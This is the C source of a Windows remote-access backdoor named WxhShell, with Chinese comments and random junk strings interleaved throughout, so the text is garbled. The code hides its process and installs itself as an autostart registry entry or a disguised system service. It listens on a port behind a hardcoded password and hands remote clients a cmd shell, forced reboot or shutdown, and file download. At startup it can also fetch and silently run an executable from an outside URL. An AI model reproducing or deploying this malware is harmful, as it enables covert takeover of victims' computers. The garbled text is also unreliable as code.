\2,M# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4r~K`)/S' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yvzH}$!] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yp^k;G?_d Iy4%,8C]g if (!NtQueryInformationProcess) return 0; O $e"3^Pa kRwUR34yc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W^xO/xu1/ if(!hProcess) return 0; [xrsa!$ ^xNzppz`]C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3h=kn@I 6)?u8K5%r CloseHandle(hProcess); Jq(;BJ90R 5Rs#{9YE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N[\J#x!U if(hProcess==NULL) return 0; czu9a"M>X SpU|Q1Q/h HMODULE hMod; :Z2997@Y char procName[255]; @#N7M2/ unsigned long cbNeeded; PWx%~U.8~j @MTv4eC}e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sF[gjeIb X])iQyN CloseHandle(hProcess); Nb
!i_@m%s U?{oxy_[ 2 if(strstr(procName,"services")) return 1; // 以服务启动 Wu|MNB?M o8<~zeI return 0; // 注册表启动 KN657 |f } 'NCqI Gds(.]_ // 主模块 [?9 `x-Q int StartWxhshell(LPSTR lpCmdLine) ,lvG5B\0 { ercXw7{ SOCKET wsl; ,<#Rk'y$ BOOL val=TRUE; ys`oHSf int port=0; 3T0-RP* struct sockaddr_in door; f R@Cg
sw %CvVu)tc if(wscfg.ws_autoins) Install(); *w _ o8!3- Haktr2I port=atoi(lpCmdLine); P;z\vq<h C"**>OGe if(port<=0) port=wscfg.ws_port; +jwk4BU `|Di?4+6% WSADATA data; \ HUDZ2 s if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j[A(@w" c?_7e9}2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1 /{~t[*. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h6O'" door.sin_family = AF_INET; =Hd#"9- door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0KgP'oWvY door.sin_port = htons(port); V?G%-+^ E' `; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yn]Sc<uK closesocket(wsl); Lhux~,EH return 1; pKq[F*Lut } 4XER7c 1?|"33\03R if(listen(wsl,2) == INVALID_SOCKET) { oNPvks dC; closesocket(wsl); >FOCdlJ# return 1; Ot\[Ya'' } 5j ]!r Wxhshell(wsl); <W8%eRfU WSACleanup(); G93V=Bk= YQHpW>z return 0; ^c}3o|1m( ?uL-qsU } H.;}%id 3ddw'b'aQ // 以NT服务方式启动 ~>9G\/u j VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bK0(c1*a[e { 9,_~qWw DWORD status = 0; S g1[p#U DWORD specificError = 0xfffffff; SZr c-f_ ^ }5KM87 serviceStatus.dwServiceType = SERVICE_WIN32; [s]$& serviceStatus.dwCurrentState = SERVICE_START_PENDING; :fL7"\
pf~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K.wRz/M&g serviceStatus.dwWin32ExitCode = 0; zGg)R serviceStatus.dwServiceSpecificExitCode = 0; #\Y`? serviceStatus.dwCheckPoint = 0; F5cNF5 serviceStatus.dwWaitHint = 0; H^S<bZ :P2!& W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <^5$))r if (hServiceStatusHandle==0) return; NI,>$@{ 8[X"XThj status = GetLastError(); 9%NsW3| if (status!=NO_ERROR) zo"L9&Hzo { gvWgw7z serviceStatus.dwCurrentState = SERVICE_STOPPED; /LWk>[Z; serviceStatus.dwCheckPoint = 0; ;-py h( serviceStatus.dwWaitHint = 0;
hO.b?>3NL serviceStatus.dwWin32ExitCode = status; Fy E#@ R serviceStatus.dwServiceSpecificExitCode = specificError; e/+.^ '{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); GU/P%c/V return; q\i&ERr } 1I69O6" Ty{
SZUJ serviceStatus.dwCurrentState = SERVICE_RUNNING; fm^` serviceStatus.dwCheckPoint = 0; VUUnB<j serviceStatus.dwWaitHint = 0; <v'[Wl@hq if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q#c+%,Z=C } Nk\ni>Du3 ,ps?@lD // 处理NT服务事件,比如:启动、停止 OZf@cOTWK VOID WINAPI NTServiceHandler(DWORD fdwControl) .EHq.cde { 2Ul8<${c{ switch(fdwControl) EHf,VIC8 { V~/@KU8cH case SERVICE_CONTROL_STOP: '9.@r\g serviceStatus.dwWin32ExitCode = 0; NV/paoyx:* serviceStatus.dwCurrentState = SERVICE_STOPPED; iOv>g-t: serviceStatus.dwCheckPoint = 0; =e# h;x2 serviceStatus.dwWaitHint = 0; :'<;]~f { /P9fcNP{y SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;8Zl m9 } O-p`9(_m return; DN=W2MEfc case SERVICE_CONTROL_PAUSE: #P}n+w_@ serviceStatus.dwCurrentState = SERVICE_PAUSED; w$iPFZC' break; :qj^RcmVPL case SERVICE_CONTROL_CONTINUE: ydO G8EI serviceStatus.dwCurrentState = SERVICE_RUNNING; ESoC7d&.K{ break; 'Y
,2CN case SERVICE_CONTROL_INTERROGATE: x5PM]~"p break; ,Il) t H }; ^}vf SetServiceStatus(hServiceStatusHandle, &serviceStatus); @UdF6:T } tpA-IL?KQw AHuIA{AdUR // 标准应用程序主函数 [+b8
!'|& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #0h}{y
E
{ -U$;\1-- hTEb?1CXU // 获取操作系统版本 [6g$;SicT OsIsNt=GetOsVer(); 4Lk<5Ho GetModuleFileName(NULL,ExeFile,MAX_PATH); Dl0{pGK~ \DE,
, // 从命令行安装 C"5P7F{ if(strpbrk(lpCmdLine,"iI")) Install(); ;?iu@h i qxMTH#! // 下载执行文件 1|G\&T if(wscfg.ws_downexe) { nJv=kk1|o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T<Y*();Zo WinExec(wscfg.ws_filenam,SW_HIDE);
2<8l&2}7] } Sw>>]UjU rt*>)GI]b if(!OsIsNt) { 5o4KV?" // 如果时win9x,隐藏进程并且设置为注册表启动 b1'849i'y= HideProc(); +UziO#D StartWxhshell(lpCmdLine); _0^>^he } `q^qe> ' else oKz!Xu%Hl if(StartFromService()) $i<+O,@- // 以服务方式启动 YSPUQ StartServiceCtrlDispatcher(DispatchTable); uUq= L else l-c:'n // 普通方式启动 {)b StartWxhshell(lpCmdLine); #d[Nm+~ko & uwOyb return 0; VR"le&'z" } \X(*JNQ K@[Hej6d T?A3f]U aYk: CYQ =========================================== A+H8\ew2, l\N2C4NG E%8uQ2p( qo\9,< eG2'W s 8K.A~5 w " F" M/gy jp4-w( #include <stdio.h> 54WX#/<Yik #include <string.h> ,S(Z\[x0 #include <windows.h> Hq>hnCT #include <winsock2.h> $Q'LDmot #include <winsvc.h> Jh%SenP_oP #include <urlmon.h> 9o?\*{'KT pQ^V<6z} #pragma comment (lib, "Ws2_32.lib") ct,;V/Dx #pragma comment (lib, "urlmon.lib") ->IZZ5G< i-wWbZ- #define MAX_USER 100 // 最大客户端连接数 x_-V{
k #define BUF_SOCK 200 // sock buffer zHNBX
Rx #define KEY_BUFF 255 // 输入 buffer RTg\c[=w bxO/FrwTj{ #define REBOOT 0 // 重启 hCgk78O? #define SHUTDOWN 1 // 关机 H*N{4zBB as/PM" #define DEF_PORT 5000 // 监听端口 Y%TY%"< @aFk|.6 #define REG_LEN 16 // 注册表键长度 WO!OaC?+B, #define SVC_LEN 80 // NT服务名长度 _ 3>E+9TQ .X.6<@$ // 从dll定义API rqBoUS4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w3b?i89 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y}={S,z%22 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yeIS} O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !or_CJ8% g__s(
IJ // wxhshell配置信息 dOaCdnd~ struct WSCFG { sL\ {.ad5 int ws_port; // 监听端口 5"1wz char ws_passstr[REG_LEN]; // 口令 ]^wr+9zd int ws_autoins; // 安装标记, 1=yes 0=no If&y 5C char ws_regname[REG_LEN]; // 注册表键名 x2HISxg char ws_svcname[REG_LEN]; // 服务名 PMbq5 char ws_svcdisp[SVC_LEN]; // 服务显示名 T <k;^iqR char ws_svcdesc[SVC_LEN]; // 服务描述信息 D-i, C~W char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6'uCwAQU int ws_downexe; // 下载执行标记, 1=yes 0=no X$Q.A^9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vep41\g^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 726UO#* 3PLA*n+% }; ,|zzq@fk Tz9 (</y // default Wxhshell configuration pJl/d;Cyrb struct WSCFG wscfg={DEF_PORT, Q3bU"f "xuhuanlingzhe", ;;CNr_ 1, (OwGp3g "Wxhshell", w<]-~`K "Wxhshell", 1!U:M8T| "WxhShell Service", jyyig% "Wrsky Windows CmdShell Service", b9T6JS j "Please Input Your Password: ", DYIp2-K 1, hz<TjWXv' "http://www.wrsky.com/wxhshell.exe", ;P8%yf "Wxhshell.exe" Tw*p^rU }; *$;Zk!sEF %2\Pe 2Z // 消息定义模块 K/}x'*= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {^;7DV: char *msg_ws_prompt="\n\r? for help\n\r#>"; LLzxCMc9* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ",Mrdxn7 char *msg_ws_ext="\n\rExit."; 9FNsW$b? char *msg_ws_end="\n\rQuit."; /$\8?<Pc". char *msg_ws_boot="\n\rReboot..."; z"7X.*] char *msg_ws_poff="\n\rShutdown..."; &IRM<A!8 char *msg_ws_down="\n\rSave to "; b&_Ifx_YF &e*@:5Z:k char *msg_ws_err="\n\rErr!"; Hdd3n6* char *msg_ws_ok="\n\rOK!"; '?_~{\9< gzW{h0iRr char ExeFile[MAX_PATH]; 8*B+@` int nUser = 0; |tLD^`bt HANDLE handles[MAX_USER]; _.]mES| int OsIsNt; pAA)?/&oKV ]WcN6|b+ SERVICE_STATUS serviceStatus; KC(z TY SERVICE_STATUS_HANDLE hServiceStatusHandle; .EjR<UU )^6Os2 // 函数声明
{;u+? uY int Install(void); (w(k*b/ int Uninstall(void); AkO);4A;Jd int DownloadFile(char *sURL, SOCKET wsh); :Zob"*T int Boot(int flag); 6<5:m:KE void HideProc(void); ln,9v int GetOsVer(void); X+,0;% p int Wxhshell(SOCKET wsl); v&]yzl void TalkWithClient(void *cs); ,BGUIu6 int CmdShell(SOCKET sock); PVljb=8F int StartFromService(void); tW-[.Y -M, int StartWxhshell(LPSTR lpCmdLine); w"QZ7EyJ 4qsxlN>4O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0u( 0*Xl VOID WINAPI NTServiceHandler( DWORD fdwControl ); *0V'rH) Y2dml!QM // 数据结构和表定义 <|82)hO SERVICE_TABLE_ENTRY DispatchTable[] = ,jw`9a { *O[/-
p&7 {wscfg.ws_svcname, NTServiceMain}, @8A[HP {NULL, NULL} }'>mT,ytgk }; ouFKqRs; JxLfDr,dy // 自我安装 uKD
}5M?{ int Install(void) ,D<U PtPQ { 2@ZRz%(Oa& char svExeFile[MAX_PATH]; 4Xt`L"f HKEY key; q.@% H} strcpy(svExeFile,ExeFile); ?(Plb&kR O2 + K // 如果是win9x系统,修改注册表设为自启动 vfm Y>nr if(!OsIsNt) { C"s-ttP
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EymSrZw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #O8=M(- V RegCloseKey(key); >w.%KVBJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vW? /: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @B(E&
RegCloseKey(key); F:Ps> return 0; !su773vo } V3a6QcG } Bx$?*y&f!v } UM]3MS:[ else { m9&%A0 ocUBSK|K) // 如果是NT以上系统,安装为系统服务 D~M R)z_p~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T:|p[Xbo if (schSCManager!=0) E:PPb9Kd { OP-{76vE&b SC_HANDLE schService = CreateService g:G5'pZf ( +bJ~S:[ schSCManager, #,XZ @u+ wscfg.ws_svcname, a{rUk%x wscfg.ws_svcdisp, J}#2Wy^{ SERVICE_ALL_ACCESS, W5:fY>7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,7k1n{C) SERVICE_AUTO_START, aU[!*n 4Ux SERVICE_ERROR_NORMAL, =]pEvj9o svExeFile, Z ZCm438 NULL, R1<$VR NULL, ^~@3X[No NULL, ;<GxonIV NULL, JV'aqnb.8\ NULL j*4:4B% ); 5tLb
o if (schService!=0) @>J(1{m=Gy { 3/]FT#l]i CloseServiceHandle(schService); y"U)&1 c% CloseServiceHandle(schSCManager); CY[3%7fv strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mh SknyqT strcat(svExeFile,wscfg.ws_svcname); 1~LfR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v*<rNZI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); koD}o^U# RegCloseKey(key); 0]=Bqyg return 0; g)|vS>^~ } 734n1-F?I% } "*W# z CloseServiceHandle(schSCManager); [fo#){3K } A^LS^!Jz } ucU7
@j }_^ vvu return 1; KH=3HN} } $\~cWpv w1VYU> // 自我卸载 yaWY>sB int Uninstall(void) +*Uv+oC| { KU+\fwYpnk HKEY key; 9$C?)XKXB X')l04P@% if(!OsIsNt) { Ck"db30. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u&UmI-} RegDeleteValue(key,wscfg.ws_regname); >lzXyT6x8 RegCloseKey(key); 83{P7PBQ;] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -!li,&,A1 RegDeleteValue(key,wscfg.ws_regname);
_Rkvg- RegCloseKey(key); dn Sb}J return 0; f\.y z[ } ]+B.=mO_ } ^W@%(,xb } (~E-=+R[$& else { 6 v~nEw zDbO~.d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aIrM-c8.O if (schSCManager!=0) b0f6p>~q^ { ^&8hhxCPu| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {~s\a2YH if (schService!=0) I;eoy, { eO*s,* if(DeleteService(schService)!=0) { RO%M9LISI CloseServiceHandle(schService); !y'>sAf CloseServiceHandle(schSCManager); Ht\2 IP return 0; "Jg.)1Jw } 9PV+Kr!c5I CloseServiceHandle(schService); k_zn>aR$F } 4gNN " CloseServiceHandle(schSCManager); J]{<Z?% } z,2*3Be6V } -o{ x
;:4 ) jvI Nb return 1; re}PpXRC } r)K5<[\r [?O4l` // 从指定url下载文件 8"-=+w.CZ int DownloadFile(char *sURL, SOCKET wsh) M+HhTW;I= { =l${p*ABQ HRESULT hr; v-q-CI?B# char seps[]= "/"; 6akI5\b char *token; $?]`2*i char *file; lz36;Fp char myURL[MAX_PATH]; 8~s0%%{,M char myFILE[MAX_PATH]; |0}7/^ WVOj;c strcpy(myURL,sURL); d!Gy#<H token=strtok(myURL,seps); ]7yxXg while(token!=NULL) z\"
.(fIV { tY!l}:E[ file=token; ']+!i a token=strtok(NULL,seps); J[hmY= , } >P\eHR,{- c_M[>#` GetCurrentDirectory(MAX_PATH,myFILE); |B*B>P# strcat(myFILE, "\\"); BmccSC;o4 strcat(myFILE, file); ABkDOG2br send(wsh,myFILE,strlen(myFILE),0); x|dP-E41\ send(wsh,"...",3,0); Ldv,(ZV,< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o$+R if(hr==S_OK) e.%I#rNI return 0; &ni#( else WG,1%=M@ return 1;
QJrXn6` b7~Jl+m } KF1iYo>p [)GRP // 系统电源模块 wQjYH!u,YZ int Boot(int flag) #\QW <I#/ { XM
w6b*O HANDLE hToken; I2*(v%.- TOKEN_PRIVILEGES tkp; cRD;a?0/6s 5dN>Xjpu if(OsIsNt) { j%-Ems*H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~ho,bwJM[T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F8{gJaP x tkp.PrivilegeCount = 1; {Bk` Zlki tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y;huTZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t!6uz if(flag==REBOOT) { Ka-o$o[^u` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K\XQE50 return 0; F~
\ONO5 } ]y=U"g else { +_cigxpTc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }5(_gYr return 0; Cb? !+U } ,Ww}xmq1H } <PuY"-`/Oc else { Q<;EQb# if(flag==REBOOT) { 3%1wQXr0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A46q`l9B return 0; hZL!%sL7 } vo\'ycPv else { :.]EM*p?GV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b+J|yM<` return 0; z _\L@b } (@xC-* } Z$KyK.FUU %N~c9B return 1; W,Q>3y* } RMT9tXe*5 7sOAaWx // win9x进程隐藏模块 F9K`N8wlu void HideProc(void) iv6G9e{cx { gWa0x- jy5[K. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "N=$=Dy> if ( hKernel != NULL ) ]wEI*c( { C=q&S6/+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WKlqm)m@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2#lpIj FreeLibrary(hKernel); *<:X3|3E } (_@5V_U kwT)j(pp< return; m[2[9bQ0 } @S}j=k n/Fxjf0W
// 获取操作系统版本 )z@
+|A int GetOsVer(void) e.DN,rhqI { %#v$d OSVERSIONINFO winfo; 6wwbH}*=? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NcF>}f,}\ GetVersionEx(&winfo); \EoE/2"< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BF gxa#De return 1; ro<w8V9.a else 6:B,ir
_ return 0; ]J!#"m-] } {Hl(t$3V` !]g[u3O // 客户端句柄模块 U+B"$yBR int Wxhshell(SOCKET wsl) !wpK
+.D { yLfyLyO L SOCKET wsh; lV^:2I/ struct sockaddr_in client; ejkUNCKQt DWORD myID; h;+O96V4. *f;$5B#^ while(nUser<MAX_USER) dO1m { u;rmqo1 int nSize=sizeof(client); RS}_cm0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L3wj vq^ if(wsh==INVALID_SOCKET) return 1; ]oSx]R>{f ^K1mh9O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xPUukmG:B if(handles[nUser]==0) wk8fa closesocket(wsh); zNKB'hsK else VgYy7\?p nUser++; fDB.r$|d } T?!SEblP] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "'Fvt-<^S7 IO8 @u;& return 0; %u&Vt"6m= } Qfy_@w] z,m3U( // 关闭 socket _oBx:G6E void CloseIt(SOCKET wsh) Y96<c" t { eF{uWus closesocket(wsh); 5ILKYUg, nUser--; ^i_v\E[QU ExitThread(0); sgK =eBE } w2'z~\dG8 ?;P6#ByR // 客户端请求句柄 We}9'X} void TalkWithClient(void *cs) T>|
hID { n5A|Zjk; M=;csazN SOCKET wsh=(SOCKET)cs; G5t7KI char pwd[SVC_LEN]; gE@Pb char cmd[KEY_BUFF]; dS 4/spNq char chr[1]; XZ@+aG_%q int i,j; _('
@'r 3Q62H+MC while (nUser < MAX_USER) { B\rY\ jJ<&!= if(wscfg.ws_passstr) { '\8YH+%It if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V(ww
F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t-C|x)J+ //ZeroMemory(pwd,KEY_BUFF); >E4,zs@7t i=0; |iBf6smF while(i<SVC_LEN) { C/N;4 [O_5`X9| // 设置超时 wAi7jCY%OY fd_set FdRead; Z|a*"@5_ struct timeval TimeOut; ]SU)L5Dt; FD_ZERO(&FdRead); A#I&&qZ FD_SET(wsh,&FdRead); w]T_%mdk TimeOut.tv_sec=8; _)Txg2?= TimeOut.tv_usec=0; GOA
dhh- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g_l-@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <eSg%6z =*ErN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3
I%N4K4 pwd=chr[0]; l{8O'4; if(chr[0]==0xd || chr[0]==0xa) { oO?+2pTQV pwd=0; Q!IqvmO break; @(6i 1Iwu9 } a6z0p%sIZ i++; ,R-k]^O } xu-bn mk~CE // 如果是非法用户,关闭 socket MhE".ZRd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L6nsVL& } F^Jz
Z D"*fr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o ?05bv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cL4Go,)w $RI$VyAjD while(1) { _ti^i\8~ 3A"TpR4f` ZeroMemory(cmd,KEY_BUFF); r 56~s5A kkHK~(>G // 自动支持客户端 telnet标准 [vb#W!M&| j=0; y7#+VF`xf while(j<KEY_BUFF) { k3B_M9>!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;t9_*)[ cmd[j]=chr[0]; b}Im>n! if(chr[0]==0xa || chr[0]==0xd) { 1qn/*9W}= cmd[j]=0; X.#9[3U+ break; _/P;`@ } F)eP55C6 j++; =m (u=|N3 } 0k\,z(e kP('X/ // 下载文件 M+ <SSi" if(strstr(cmd,"http://")) { `:r-&QdU o send(wsh,msg_ws_down,strlen(msg_ws_down),0); .e3@fq if(DownloadFile(cmd,wsh)) '*`n"cC: send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,S`VNU else j&S.k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 16I[z+RG } 525^/d6v else { K`X'Hg#_P2 N&k\X]U switch(cmd[0]) { n'pJl jYAm}_?No // 帮助 ZWuNl!l> case '?': { B!)9
> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Snmv break; # 7dvT= } ;IPk+,hpmi // 安装 IR2Qc6+{ case 'i': { 0lq?l:/ if(Install()) Bo
ywgL| send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;QG8@ms| else 6_yatq5c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GYJ j$' break; C{l-l`: } NhYUSk ~u // 卸载 Z{#3-O<a+n case 'r': { [\Aws^fD_ if(Uninstall()) M!gu`@@}F send(wsh,msg_ws_err,strlen(msg_ws_err),0); CUC]-]8 else DrBkR`a? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jc>B^mqx break; Jk|DWZ } xo
^|d3 // 显示 wxhshell 所在路径 {s6#h #U case 'p': { rW O#h{ char svExeFile[MAX_PATH]; gV:0&g\v strcpy(svExeFile,"\n\r"); Um`KmM3 strcat(svExeFile,ExeFile); /s(PFN8#Y send(wsh,svExeFile,strlen(svExeFile),0); 2|RxowXZ" break; SZtSUt(ss } "=40%j0 // 重启 5mudww` case 'b': { _E-{*,7bZS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qOyS8tA.H if(Boot(REBOOT)) ++8 Xi1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}|)oG,= else { 'f %oL/, closesocket(wsh); 7uv"# mq ExitThread(0); /K+;HAUTn } XCn;<$3w break; Zcc7
7dRA } e+2lus,u6t // 关机 ~<Wa$~oY case 'd': { +Ezl.O@z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I(j{D>v if(Boot(SHUTDOWN)) l.}gWN9- send(wsh,msg_ws_err,strlen(msg_ws_err),0); T{#=A$vu else { /@&uaw closesocket(wsh); 0,__{?! ExitThread(0); v )2yR~J } FO]f 4@
break; .OW5R* } n*|8(fD // 获取shell /<O9^hA| case 's': { !#olG}#[ CmdShell(wsh); GV9pet89yu closesocket(wsh); eIPk$j{e ExitThread(0); x<d ew break; ~7\`qH } )kKeA // 退出 3%x-^. case 'x': { vKkvB;F41 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [c=![*}/ CloseIt(wsh); b4ke'gx break; 0q1+5 } 5rA>2<\pQ // 离开 q7rX4-G$ case 'q': { -/7@ A send(wsh,msg_ws_end,strlen(msg_ws_end),0); vL "noLs closesocket(wsh); <`A!9+ WSACleanup(); 98{n6$\ exit(1); GapH^trm break; 8L@@UUjr } e5ww~%, } M&/e*Ta5 } hNp.%XnnZ 3VQmo\li // 提示信息 oye/tEMG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +fMW B } Jx4~ o{Z}c } ,
d4i0;2}+ !E *IktAI return; r9-)+R
J } `E>o:tff ydzvjp= // shell模块句柄 cf_X=;yaqy int CmdShell(SOCKET sock) qNkX:|j { )B5U0iIi STARTUPINFO si; "MOmJYH ZeroMemory(&si,sizeof(si)); K<u~[^R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N,cj[6;T% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tl^)O^/ PROCESS_INFORMATION ProcessInfo; <g8{LG0 char cmdline[]="cmd"; <S@2%%W CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;/^O7KM- return 0; t{ridA} } iW?NxP JQ\o[t // 自身启动模式 3ZYrNul" int StartFromService(void) rV
I-Yb { xz/G$7q7 typedef struct mj2sbRiSR= { Nn5sD3z# DWORD ExitStatus; Vf(n DWORD PebBaseAddress; @d[)i,d:G DWORD AffinityMask; wmX * n'l DWORD BasePriority; Pv8AWQQJ ULONG UniqueProcessId; 3\P/4GK) ULONG InheritedFromUniqueProcessId; ~^eC?F( } PROCESS_BASIC_INFORMATION; ".fnx8v, C2
!F PROCNTQSIP NtQueryInformationProcess; `[f IK, bgmOX&`G static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DJ NM=v static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 16N`xw+{ Y3luU&' HANDLE hProcess; w6k^|." PROCESS_BASIC_INFORMATION pbi; Fw"x4w 4wwRNu* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m] IN-' if(NULL == hInst ) return 0; MXY!N/
'p'nAB''! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3],[6%w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2FTJxSC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;cWFh4_ p:|p? if (!NtQueryInformationProcess) return 0; of.=n }j#c#''i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qI gb;=V if(!hProcess) return 0; !2]G.|5/A s.@DI|Gnf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4*+)D8 T(eNK
